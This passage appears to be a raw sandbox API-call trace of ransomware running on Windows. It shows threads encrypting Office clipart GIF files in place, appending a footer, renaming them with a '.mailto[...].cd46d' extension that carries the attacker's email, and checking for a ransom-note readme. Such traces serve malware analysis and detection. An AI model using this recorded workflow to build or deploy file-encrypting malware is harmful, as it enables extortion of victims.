RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8d00) returned 1 [0062.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b98) returned 1 [0062.742] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c38) returned 1 [0062.742] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c60) returned 1 [0062.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00d60 [0062.742] wcscpy (in: _Dest=0x5e00d60, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" [0062.742] wcscat (in: _Dest=0x5e00d60, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0062.742] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf3bfcc8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x97ab090 [0063.369] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ab090) returned 1 [0063.369] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48e658) returned 1 [0063.369] NtQueryInformationFile (in: FileHandle=0xba0, IoStatusBlock=0xf3bfcd4, FileInformation=0xf3bfcac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf3bfcd4, FileInformation=0xf3bfcac) returned 0x0 [0063.369] NtSetInformationFile (FileHandle=0xba0, IoStatusBlock=0xf3bfcd4, FileInformation=0xf3bfcac, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0063.370] FlushFileBuffers (hFile=0xba0) returned 1 [0066.204] CloseHandle (hObject=0xba0) Thread: id = 1047 os_tid = 0x91c [0056.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0060.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF", dwFileAttributes=0x20) returned 1 [0060.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb9c [0060.951] GetFileSizeEx (in: hFile=0xb9c, lpFileSize=0xdd3fb78 | out: lpFileSize=0xdd3fb78*=11891) returned 1 [0060.951] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x2e6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.951] ReadFile (in: hFile=0xb9c, lpBuffer=0xdd3fafc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xdd3faf8, lpOverlapped=0x0 | out: lpBuffer=0xdd3fafc*, lpNumberOfBytesRead=0xdd3faf8*=0x4, lpOverlapped=0x0) returned 1 [0060.954] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c10 [0060.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c88 [0060.955] NtQuerySystemTime (in: CurrentTime=0xdd3fad8 | out: CurrentTime=0xdd3fad8*=132174898249416000) returned 0x0 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x3ff4cb2b [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x4becd9d4 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x12b92a4 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0xf935175 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x6435fb4a [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x123af866 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x73364541 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x15882bb3 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x3094e11d [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x304dbc48 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x23972e07 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x1ac201d4 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x37da8895 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x2169dda1 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x66ec5ab3 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x48e4d114 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x77049496 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0xb564532 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x55d1fc00 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x3c55efb6 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x7c6ced2a [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x6a418735 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x2ddead6e [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x7898d20d [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x5224c8c3 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x73a5202 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0xc9b6b5 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x52d41c00 [0060.955] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x1fcced4a [0060.956] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x242f6ca1 [0060.956] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x15aa3b6d [0060.956] RtlRandomEx (in: Seed=0xdd3fae4 | out: Seed=0xdd3fae4) returned 0x62336b1f [0060.968] ReadFile (in: hFile=0xb9c, lpBuffer=0x19ad81c8, nNumberOfBytesToRead=0x2e73, lpNumberOfBytesRead=0xdd3fad4, lpOverlapped=0x0 | out: lpBuffer=0x19ad81c8*, lpNumberOfBytesRead=0xdd3fad4*=0x2e73, lpOverlapped=0x0) returned 1 [0060.969] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.969] WriteFile (in: hFile=0xb9c, lpBuffer=0x19ae49d0*, nNumberOfBytesToWrite=0x2e73, lpNumberOfBytesWritten=0xdd3fad0, lpOverlapped=0x0 | out: lpBuffer=0x19ae49d0*, lpNumberOfBytesWritten=0xdd3fad0*=0x2e73, lpOverlapped=0x0) returned 1 [0061.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9868 [0061.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460830 [0061.396] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460830) returned 1 [0061.396] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19ae49d0) returned 1 [0061.396] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19ad81c8) returned 1 [0061.396] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5148) returned 1 [0061.396] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0061.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e02d0 [0061.396] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.396] WriteFile (in: hFile=0xb9c, lpBuffer=0x12d7d570*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xdd3fb38, lpOverlapped=0x0 | out: lpBuffer=0x12d7d570*, lpNumberOfBytesWritten=0xdd3fb38*=0x109, lpOverlapped=0x0) returned 1 [0061.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d570) returned 1 [0061.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0300) returned 1 [0061.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460830) returned 1 [0061.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e02d0) returned 1 [0061.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9868) returned 1 [0061.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c10) returned 1 [0061.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8cb0) returned 1 [0061.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8cd8) returned 1 [0061.484] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00200 [0061.484] wcscpy (in: _Dest=0x5e00200, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" [0061.484] wcscat (in: _Dest=0x5e00200, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.484] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xdd3faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.484] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x424230 [0061.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e223d8) returned 1 [0061.587] NtQueryInformationFile (in: FileHandle=0xb9c, IoStatusBlock=0xdd3fafc, FileInformation=0xdd3fad4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xdd3fafc, FileInformation=0xdd3fad4) returned 0x0 [0061.587] NtSetInformationFile (FileHandle=0xb9c, IoStatusBlock=0xdd3fafc, FileInformation=0xdd3fad4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00200) returned 1 [0061.588] FlushFileBuffers (hFile=0xb9c) returned 1 [0062.199] CloseHandle (hObject=0xb9c) returned 1 [0062.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x12d97268 [0062.671] wcscpy (in: _Dest=0x12d97268, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.671] wcscat (in: _Dest=0x12d97268, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.077] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97268) returned 1 [0063.077] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8b30) returned 1 Thread: id = 1048 os_tid = 0x7a0 [0056.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0060.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF", dwFileAttributes=0x20) returned 1 [0060.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb98 [0060.970] GetFileSizeEx (in: hFile=0xb98, lpFileSize=0xf48fc20 | out: lpFileSize=0xf48fc20*=517) returned 1 [0060.970] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0x201, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.970] ReadFile (in: hFile=0xb98, lpBuffer=0xf48fba4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf48fba0, lpOverlapped=0x0 | out: lpBuffer=0xf48fba4*, lpNumberOfBytesRead=0xf48fba0*=0x4, lpOverlapped=0x0) returned 1 [0060.971] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c88 [0060.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8d00 [0060.972] NtQuerySystemTime (in: CurrentTime=0xf48fb80 | out: CurrentTime=0xf48fb80*=132174898249572000) returned 0x0 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x51b3bb44 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x5226fe69 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x65952fee [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x322b1043 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x40c7e4bf [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x4cdcd475 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x6aa05957 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x3118a97 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x14fed86d [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x4ed0d248 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x5cc366ec [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x17c3b50c [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x1289ee25 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x10b0d479 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x6348c2bf [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x1af538c6 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x6b733a26 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x48bbe85b [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x7e809946 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x72fc5c07 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x61d603b5 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x3f5c55f4 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x7ccca174 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x12d4ea1 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x621fd845 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x61a861f4 [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x4322cf8c [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x7d1bfa6a [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x11a616d [0060.972] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x15ffeced [0060.973] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x74f9d08 [0060.973] RtlRandomEx (in: Seed=0xf48fb8c | out: Seed=0xf48fb8c) returned 0x7b8f8830 [0060.985] ReadFile (in: hFile=0xb98, lpBuffer=0x19af11d8, nNumberOfBytesToRead=0x205, lpNumberOfBytesRead=0xf48fb7c, lpOverlapped=0x0 | out: lpBuffer=0x19af11d8*, lpNumberOfBytesRead=0xf48fb7c*=0x205, lpOverlapped=0x0) returned 1 [0060.985] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.985] WriteFile (in: hFile=0xb98, lpBuffer=0x19afd9e0*, nNumberOfBytesToWrite=0x205, lpNumberOfBytesWritten=0xf48fb78, lpOverlapped=0x0 | out: lpBuffer=0x19afd9e0*, lpNumberOfBytesWritten=0xf48fb78*=0x205, lpOverlapped=0x0) returned 1 [0061.397] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d971d0 [0061.397] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d971f8 [0061.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d971f8) returned 1 [0061.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19afd9e0) returned 1 [0061.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19af11d8) returned 1 [0061.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed50d0) returned 1 [0061.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0061.397] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0330 [0061.397] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.397] WriteFile (in: hFile=0xb98, lpBuffer=0x12d7d688*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xf48fbe0, lpOverlapped=0x0 | out: lpBuffer=0x12d7d688*, lpNumberOfBytesWritten=0xf48fbe0*=0x109, lpOverlapped=0x0) returned 1 [0061.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d688) returned 1 [0061.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0360) returned 1 [0061.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d971f8) returned 1 [0061.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0330) returned 1 [0061.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d971d0) returned 1 [0061.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c88) returned 1 [0061.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8d28) returned 1 [0061.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8d50) returned 1 [0061.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00610 [0061.488] wcscpy (in: _Dest=0x5e00610, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" [0061.488] wcscat (in: _Dest=0x5e00610, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.488] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf48fb98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x424230 [0061.590] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.590] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e23b90) returned 1 [0061.590] NtQueryInformationFile (in: FileHandle=0xb98, IoStatusBlock=0xf48fba4, FileInformation=0xf48fb7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf48fba4, FileInformation=0xf48fb7c) returned 0x0 [0061.590] NtSetInformationFile (FileHandle=0xb98, IoStatusBlock=0xf48fba4, FileInformation=0xf48fb7c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0061.591] FlushFileBuffers (hFile=0xb98) returned 1 [0062.199] CloseHandle (hObject=0xb98) returned 1 [0062.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x12d97300 [0062.671] wcscpy (in: _Dest=0x12d97300, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.672] wcscat (in: _Dest=0x12d97300, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.077] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97300) returned 1 [0063.077] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8dd8) returned 1 Thread: id = 1049 os_tid = 0x39c [0056.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0060.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF", dwFileAttributes=0x20) returned 1 [0060.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb94 [0060.986] GetFileSizeEx (in: hFile=0xb94, lpFileSize=0x1094fb2c | out: lpFileSize=0x1094fb2c*=502) returned 1 [0060.986] SetFilePointerEx (in: hFile=0xb94, liDistanceToMove=0x1f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.986] ReadFile (in: hFile=0xb94, lpBuffer=0x1094fab0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1094faac, lpOverlapped=0x0 | out: lpBuffer=0x1094fab0*, lpNumberOfBytesRead=0x1094faac*=0x4, lpOverlapped=0x0) returned 1 [0060.987] SetFilePointerEx (in: hFile=0xb94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8d00 [0060.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8d78 [0060.987] NtQuerySystemTime (in: CurrentTime=0x1094fa8c | out: CurrentTime=0x1094fa8c*=132174898249728000) returned 0x0 [0060.987] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x29c679d7 [0060.987] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0xb81f493 [0060.987] RtlRandomEx (in: 